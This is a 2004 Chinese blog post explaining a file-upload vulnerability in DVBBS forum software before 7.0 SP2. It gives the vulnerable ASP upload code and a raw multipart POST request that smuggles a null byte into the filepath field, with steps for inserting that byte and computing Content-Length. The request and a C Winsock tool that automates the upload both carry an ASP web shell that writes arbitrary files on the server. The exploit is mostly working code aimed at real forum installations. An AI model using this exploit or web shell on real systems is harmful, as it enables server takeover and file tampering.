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动网论坛上传文件漏洞的原理以及攻击的代码实现

发表于2004/10/31 21:07:00  920人阅读

动网论坛上传文件漏洞的原理以及攻击的代码实现
                                                                ----Zwell
                                                                ---http://www.54nb.com
    最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小猪说动网
论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的
问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小猪的话说是DVBBS7.0 SP2以下通杀.虽然有些
人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人
骂,因为这个漏洞实在太大了).
    我们先看一下动网论坛上传文件的相关代码:

'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024)   '取得上传数据,不限大小
iCount=0

if upload.err > 0 then
    select case upload.err
    case 1
    Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
    case 2
    Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
    end select
    exit sub
    else
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"

for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName)  ''生成一个文件对象
if file.filesize<100 then
    response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
    response.end
end if

fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
    response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
    response.end
end if

randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据
  file.SaveToFile Server.mappath(filename)   ''保存文件
'  response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
  iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 个文件上传结束!"

end if
end sub

在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是
程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里
来的呢?我们可以在reg_upload.asp中找到这样的代码:
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;">
</form>
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件
也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.
将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的
是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'/0'字符,
如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface/zwell.asp"
这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.
因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface/zwell.asp'/0'的字符串然后发送出去就行了.
我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):


POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF

-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"

uploadFace/zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"

upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:/1.gif"
Content-Type: text/plain

<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%Response.write "<input type=submit value=save>"%>
<%Response.write "</form>"%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"

C:/1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"

上传
-----------------------------7d4a325500d2--

上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:/1.gif"
2.Content-Disposition: form-data; name="fname"

  C:/1.gif
3.最重要的地方:uploadFace/zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,
(因为'/0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00).

至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句:
Content-Length: 1593
很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个
"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--/r/n/r/n"截止,
大家看到的"/r/n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,
代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,
然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有
复制换行才失败的.

写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下:
#include <winsock2.h>
#include <stdio.h>
#include "Resource.h"

#pragma    comment(lib,"ws2_32.lib")

HINSTANCE        g_hInst;
HWND            g_hWnd;
HWND            m_up;
HWND            m_host;
HWND            m_webpath;
HWND            m_path;
HWND            m_filename;
HWND            m_upload;
DWORD            m_theadid;
BYTE            sendbuf[10000];
char            host[80];            //主机地址
char            bbspath[50];        //论坛地址
char            uppath[20];            //上传目录
char            upfilename[50];        //上传文件名
char            upfiledata[8000];    //上传文件内容
int                sendsize;            //总传送数据大小
int                realsndsize = 0;    //传送页面文件的大小
char            snddata[8000];
char            mm[1000]=
                    "<%dim objFSO%>/r/n"
                    "<%dim fdata%>/r/n"
                    "<%dim objCountFile%>/r/n"
                    "<%on error resume next%>/r/n"
                    "<%Set objFSO = Server.CreateObject(/"Scripting.FileSystemObject/")%>/r/n"
                    "<%if Trim(request(/"syfdpath/"))<>/"/" then%>/r/n"
                    "<%fdata = request(/"cyfddata/")%>/r/n"
                    "<%Set objCountFile=objFSO.CreateTextFile(request(/"syfdpath/"),True)%>/r/n"
                    "<%objCountFile.Write fdata%>/r/n"
                    "<%if err =0 then%>/r/n"
                    "<%response.write /"<font color=red>save Success!</font>/"%>/r/n"
                    "<%else%>"
                    "<%response.write /"<font color=red>Save UnSuccess!</font>/"%>/r/n"
                    "<%end if%>/r/n"
                    "<%err.clear%>/r/n"
                    "<%end if%>"
                    "<%objCountFile.Close%>/r/n"
                    "<%Set objCountFile=Nothing%>/r/n"
                    "<%Set objFSO = Nothing%>"
                    "<%Response.write /"<form action=/'/' method=post>/"%>/r/n"
                    "<%Response.Write /"<input type=text name=syfdpath width=32 size=50>/"%>/r/n"
                    "<%Response.Write /"<br>/"%>/r/n"
                    "<%=server.mappath(Request.ServerVariables(/"SCRIPT_NAME/"))%>/r/n"
                    "<%Response.write /"<br>/"%>/r/n"
                    "<%Response.write /"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>/"%>/r/n"
                    "<%Response.write /"<input type=submit value=save>/"%>/r/n"
                    "<%Response.write /"</form>/"%>/r/n";

//获得控件文本
char *gettext(HWND chwnd)
{
    char tmpbuf[10000];
    SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
    return tmpbuf;
}

//设置控件文本
void settext(HWND chwnd,char *text)
{
    SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}

char *itos(int data)
{
    char tmp[10];
    sprintf(tmp, "%d", data);
    return tmp;
}

//上传线程
DWORD WINAPI uploadthread(LPVOID param)
{
    SOCKET        s;
    sockaddr_in sin;
    struct hostent * hp;
    unsigned int    addr;

    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    ZeroMemory((void *)&sin, sizeof(sin));
    
    hp = gethostbyname(gettext(m_host));
    if (!hp)
        addr = inet_addr(gettext(m_host));
    if ((!hp)  && (addr == INADDR_NONE) )
    {
        MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
        return 0;
    }
    if (hp != NULL)
        memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
    else
        sin.sin_addr.s_addr = addr;

    sin.sin_port = htons(80);
    sin.sin_family = AF_INET;

    strcpy(host, gettext(m_host));
    strcpy(bbspath, gettext(m_webpath));
    strcpy(upfiledata, gettext(m_upload));
    strcpy(uppath, gettext(m_path));
    strcpy(upfilename, gettext(m_filename));

    realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;

    sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1/r/n"
                "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*/r/n"
                "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp/r/n"
                "Accept-Language: zh-cn/r/n"
                "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2/r/n"
                "Accept-Encoding: gzip, deflate/r/n"
                "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)/r/n"
                "Host: %s/r/n"
                "Content-Length: %d/r/n"
                "Connection: Keep-Alive/r/n"
                "Cache-Control: no-cache/r/n"
                "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF/r/n/r/n"
                "-----------------------------7d4a325500d2/r/n"
                "Content-Disposition: form-data; name=/"filepath/"/r/n/r/n"
                "%s//%s",
                bbspath,
                host,
                realsndsize,
                uppath,
                upfilename);

    sendsize = strlen((char *)sendbuf);
    sendbuf[sendsize] = '/0';

    sprintf(snddata,
                "/r/n"
                "-----------------------------7d4a325500d2/r/n"
                "Content-Disposition: form-data; name=/"act/"/r/n/r/n"
                "upload/r/n"
                "-----------------------------7d4a325500d2/r/n"
                "Content-Disposition: form-data; name=/"file1/"; filename=/"C://1.gif/"/r/n"
                "Content-Type: text/plain/r/n/r/n"
                "%s/r/n"
                "-----------------------------7d4a325500d2/r/n"
                "Content-Disposition: form-data; name=/"fname/"/r/n/r/n"
                "C://1.gif/r/n"
                "-----------------------------7d4a325500d2/r/n"
                "Content-Disposition: form-data; name=/"Submit/"/r/n/r/n"
                "上传/r/n"
                "-----------------------------7d4a325500d2--/r/n/r/n",
                upfiledata);

    strcat((char *)&sendbuf[sendsize+1], snddata);

    sendsize += strlen(snddata);
    sendsize += 1;

    if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
    {
        MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_ICONERROR);
        return 0;
    }
    int sendsz = send(s, (char *)sendbuf, sendsize, 0);
    if(sendsz <= 0)
        MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK);
    char recvbuf[10000];
    recv(s, (char*)recvbuf, 10000, 0);
    settext(m_upload, recvbuf);
    closesocket(s);
    return 0;
}

void WINAPI    On_Command(WPARAM wParam)
{
    switch (LOWORD(wParam))
    {
        case ID_UP:
            CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
            break;
        case IDCANCEL:
            SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
            break;
    }
}

static BOOL    CALLBACK MainDlgProc(HWND hWndDlg, UINT msg,    WPARAM wParam, LPARAM lParam)
{
    switch (msg)
    {
        case WM_INITDIALOG:
            g_hWnd = hWndDlg;
            m_up = GetDlgItem(g_hWnd, ID_UP);
            m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
            m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
            m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
            m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
            m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
            settext(m_host, "192.168.10.101");
            settext(m_webpath, "/");
            settext(m_path, "uploadface");
            settext(m_filename, "zwell.asp");
            settext(m_upload, mm);
            return TRUE;

        case WM_COMMAND:
            On_Command(wParam);
            break;
    
        case WM_SIZE:
            break;

        case WM_CLOSE:
            EndDialog(g_hWnd,0);
            break;
    }
    return FALSE;
}

int    APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE    hPrevInstance, LPSTR lpCmdLine,    int    nCmdShow)
{
    WSADATA    wsaData;
    
    g_hInst=hInstance;
    if(WSAStartup(MAKEWORD(1, 1), &wsaData))
    {
        MessageBox(NULL,"无法初始化    Winsock    DLL/t","错误",MB_OK|MB_ICONSTOP);
        return 0;
    }
    DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1),    NULL, (DLGPROC)    MainDlgProc);
    WSACleanup();
    return 1;
}

WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000测试通过

完整源代码暂时不提供,大家可以到论坛留言一下,如果联盟同意的话,我再公布吧.
有什么问题欢迎与我交流:zwell@sohu.com  http://www.54nb.com
转贴请保证文章完整性.
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